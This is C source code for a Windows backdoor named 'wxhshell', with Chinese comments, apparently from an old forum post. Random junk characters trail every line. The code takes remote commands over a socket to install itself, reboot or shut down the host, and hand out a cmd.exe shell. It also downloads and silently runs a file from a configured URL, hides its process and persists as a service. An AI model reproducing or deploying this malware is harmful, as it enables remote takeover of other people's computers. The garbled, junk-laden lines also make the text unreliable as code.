  } 4],*y`& g  
  else { um}%<Cy[  
wBa IN]Y,  
    switch(cmd[0]) { r,FPTf  
  jSKhWxL;'  
  // 帮助 :Y\!~J3W  
  case '?': { by0@G"AE+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wiE'6CM  
    break; 9cMQ51k)E  
  } %7vjYvo>  
  // 安装 lBN1OL[N  
  case 'i': { fZ7Ap3dmP  
    if(Install()) R/BW$4/E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :@=;WB*0  
    else U1,f$McZs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #eZm)KFQg  
    break; 4 >2g&);B  
    } J}M_Ka  
  // 卸载 c1>:|D7w  
  case 'r': { a*GiLq  
    if(Uninstall()) %X^K5Io  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8+=-!": ]  
    else +.Cx.Nf(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6%Ws>H4@|  
    break; Mb +  
    } M>m+VsJV  
  // 显示 wxhshell 所在路径 |Js?@  
  case 'p': { Ak=|wY{  
    char svExeFile[MAX_PATH]; Q}(D^rGP3  
    strcpy(svExeFile,"\n\r"); ;"T,3JQPn6  
      strcat(svExeFile,ExeFile); 7!kbe2/]'  
        send(wsh,svExeFile,strlen(svExeFile),0); t,4'\nv*  
    break; Of?3|I3 l  
    } }(-2a*Z;Y  
  // 重启 |(Q !$  
  case 'b': { .CY;-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hi5}s  
    if(Boot(REBOOT)) Aav|N3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -q6d&D'B+  
    else { QgB%\mO=  
    closesocket(wsh); @Y| %  
    ExitThread(0); RX6s[uQ  
    } x+;"(]#  
    break; vOnhJN  
    } *v6 j7<H  
  // 关机 7!r)[2l  
  case 'd': { YI!@ ,t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9@{=2 k  
    if(Boot(SHUTDOWN)) c!20(( 2|I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *$/!.e  
    else { iM'rl0  
    closesocket(wsh); z($h7TZ$  
    ExitThread(0); )(`HEl>-9c  
    } n+qa/<  
    break; _G1C5nkDl4  
    } *\4u:1Cu  
  // 获取shell 2Ysl|xRo  
  case 's': { ZBcT@hxm  
    CmdShell(wsh); x=jS=3$8  
    closesocket(wsh); ^`< %Pk  
    ExitThread(0); E6njm du  
    break; $Il:Yw_  
  } +w(>UBy-  
  // 退出 aH(B}wh{  
  case 'x': { ~P5;k_&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aNxq_pRb  
    CloseIt(wsh); 5uxB)Dx)  
    break; ^+b ??K  
    } tuWJj^  
  // 离开 9X%H$>s  
  case 'q': { SRfnT?u6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Vub ($  
    closesocket(wsh); R[Y{pT,AY  
    WSACleanup(); n k@e#  
    exit(1); sn=_-uoU  
    break; _A5.  
        } k6|wiSyu  
  } =U)e_q  
  } 5$;#=WAY  
NJ];Ck  
  // 提示信息 f.X<Mo   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e/* T,ZJ  
} 8"5^mj  
  } uFH ]w] X  
C_q@ixF{  
  return; B4d\4S_r%  
} NL7CeHs5  
_Vl22'wl  
// shell模块句柄 WY3D.z-</  
int CmdShell(SOCKET sock) yWkg4  
{ mO|YX/>  
STARTUPINFO si; p%?m|(4f  
ZeroMemory(&si,sizeof(si)); co-dq\P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :i8B'|DN5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y/d/#}\:  
PROCESS_INFORMATION ProcessInfo; }k7t#O  
char cmdline[]="cmd"; +;*dFL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Tu*"+*r>s  
  return 0; SuuLB6{u3  
} d> OLnG> F  
`L#`WC@[o  
// 自身启动模式 !`$xN~_  
int StartFromService(void) [ _N w5_  
{ CQGq}.Jt!  
typedef struct Q`* v|Lp  
{ U 4Sxr  
  DWORD ExitStatus; *W&}}iL  
  DWORD PebBaseAddress; t7 ].33%\  
  DWORD AffinityMask; Aq~}<qkIF+  
  DWORD BasePriority; /6@~XO) w  
  ULONG UniqueProcessId; [(65^Zl`  
  ULONG InheritedFromUniqueProcessId; zv>3Tc0R  
}   PROCESS_BASIC_INFORMATION; : #om6}   
{@tqeu%IM  
PROCNTQSIP NtQueryInformationProcess; @ UgZZ  
d=~-8]%\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ? ^l{t4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rm"C|T4:V  
b IZuZF>*  
  HANDLE             hProcess; L2GUrf  
  PROCESS_BASIC_INFORMATION pbi; ln~;Osb  
qzbpLV|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :\sz`p?EC  
  if(NULL == hInst ) return 0; "jFRGgd79  
rz'A#-?'oG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IA$)E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %40uw3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BZr$x8%ki  
ecg>_%.>  
  if (!NtQueryInformationProcess) return 0; n9p_D  
 +?I 1Og  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  |)'6U3  
  if(!hProcess) return 0; =}h8Cl{H/  
Q3OGU}F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w,/&oe5M+  
AXmW7/Sj"  
  CloseHandle(hProcess); ,-[e{=Cz  
dH8^\s .F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '1u!@=.\G  
if(hProcess==NULL) return 0; ZA>p~Zt  
Y  c]  
HMODULE hMod; (}jYi*B  
char procName[255]; ,dZ&i! @?  
unsigned long cbNeeded; S="teH[  
Vy6A]U\%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <.6bni )  
6&Al9+$  
  CloseHandle(hProcess); ^P| K2at  
6%nKrK  
if(strstr(procName,"services")) return 1; // 以服务启动 72;4  
A"$UU6Z4  
  return 0; // 注册表启动 Aqp$JM >  
} FdZG%N>Z  
9 f+S-!  
// 主模块 Ta 0Ln  
int StartWxhshell(LPSTR lpCmdLine) 4PsJs<u  
{ RXZ}aX[h  
  SOCKET wsl; n:i?4'-}  
BOOL val=TRUE; \8 ~`NF  
  int port=0; ;uK">L[u'  
  struct sockaddr_in door; Q \E [py  
D%k`udz<  
  if(wscfg.ws_autoins) Install(); &N^^[ uG  
COC6H'F  
port=atoi(lpCmdLine); :kMEL*  
Wdp?<U  
if(port<=0) port=wscfg.ws_port; $: %U`46%s  
Ln2dD>{2  
  WSADATA data; O5;$cP:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; luYa+E0  
LBs:O*;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   afJ`1l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rEl bzL"&<  
  door.sin_family = AF_INET; @m bR I0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2:>|zmh_  
  door.sin_port = htons(port); xbeVq P  
l[)ZEEP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ED>T2.:{  
closesocket(wsl); bOKgR{i  
return 1; x9&{@ ?o  
} F_ Cp,  
5*#!w1X  
  if(listen(wsl,2) == INVALID_SOCKET) { E$w2S Q  
closesocket(wsl); 9iWs'M  
return 1;  b}eBy  
} ?mjQN|D  
  Wxhshell(wsl); ^/k`URQ  
  WSACleanup(); v o9Fj  
O_n) 2t(c?  
return 0; acXB vs  
No1*~EQ  
} MK*WStY  
^71!.b%  
// 以NT服务方式启动 /1Q i9uit  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4kZ9]5#.  
{ X9lh@`3  
DWORD   status = 0; fT&>L  
  DWORD   specificError = 0xfffffff; RkW)B^#  
%#^)hX,+Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z6Owxqfht  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K:i{us`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mROXwzL  
  serviceStatus.dwWin32ExitCode     = 0; _Coh11  
  serviceStatus.dwServiceSpecificExitCode = 0; T<\!7 RnLc  
  serviceStatus.dwCheckPoint       = 0; G31??L:<  
  serviceStatus.dwWaitHint       = 0; _ zh>q4M  
.%iJin"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~qk5Mk4$  
  if (hServiceStatusHandle==0) return; ~sd+ch*  
qBkI9H  
status = GetLastError(); t mCm54  
  if (status!=NO_ERROR) ~|7jz;$V  
{ 99<0xN(25  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m)]A$*`<  
    serviceStatus.dwCheckPoint       = 0; ~BSE8M+r  
    serviceStatus.dwWaitHint       = 0; w=r3QKm#K  
    serviceStatus.dwWin32ExitCode     = status; lQnl6j  
    serviceStatus.dwServiceSpecificExitCode = specificError; cjd Z.jR2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RH=Tu6i  
    return; tc_D8Q_  
  } c|s*(WljY  
?4]#gC ks  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x9c/;Q &m  
  serviceStatus.dwCheckPoint       = 0; : Y{aa1  
  serviceStatus.dwWaitHint       = 0; D~< 3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d_0r  
} :tv:46+s=  
G O=&  
// 处理NT服务事件,比如:启动、停止 L;n2,b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J:{$\m'  
{ D`t }V  
switch(fdwControl) 2!Mwui;%  
{ /Ww_fY  
case SERVICE_CONTROL_STOP: QzzV+YG$(4  
  serviceStatus.dwWin32ExitCode = 0; 7H1 ii   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5g{L -8XwI  
  serviceStatus.dwCheckPoint   = 0; `3v! i   
  serviceStatus.dwWaitHint     = 0; I^5T9}>Q  
  { ]G0`W6;$]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YEEgDw]BQ  
  }  QTN _Z#'  
  return; g' xR$6t  
case SERVICE_CONTROL_PAUSE: q=M\#MlL0'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q 16jL,i  
  break; a!;]9}u7  
case SERVICE_CONTROL_CONTINUE: @Gs*y1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 78s:~|WB<{  
  break; d" "GG/  
case SERVICE_CONTROL_INTERROGATE: IQZBH2R  
  break; QFI8|i@  
}; pP4i0mO{Dv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )-_NtMr~`!  
} :y?xS  
_L6WbRu|  
// 标准应用程序主函数 MNE{mV(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kp4*|$]  
{ n\nC.|_G@  
$II[b-X?S  
// 获取操作系统版本 Cmq.V@  
OsIsNt=GetOsVer(); v;E7UL .w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); idm!6]  
?UXKy  
  // 从命令行安装 y\'t{>U/  
  if(strpbrk(lpCmdLine,"iI")) Install(); lWv3c!E`  
'L*nC T;  
  // 下载执行文件 dQ=mg#(  
if(wscfg.ws_downexe) { "t<$ {  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @j%r6N  
  WinExec(wscfg.ws_filenam,SW_HIDE); avR4#bfc  
} }lzyl*.  
C043h?x  
if(!OsIsNt) { ` Nn^   
// 如果时win9x,隐藏进程并且设置为注册表启动 f\Bd lOJ>  
HideProc(); zMfr`&%e  
StartWxhshell(lpCmdLine);  w' E  
} _P!J0  
else /B$"fxFf  
  if(StartFromService()) EDR;" G(N  
  // 以服务方式启动 wVvk{tS  
  StartServiceCtrlDispatcher(DispatchTable); >EFjyhVE  
else &qki NS  
  // 普通方式启动 oYNP,8r^  
  StartWxhshell(lpCmdLine); s(Of EzsH=  
1}e1:m]r  
return 0; XqVhC):  
}
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只看该作者 1 发表于: 2006-10-10
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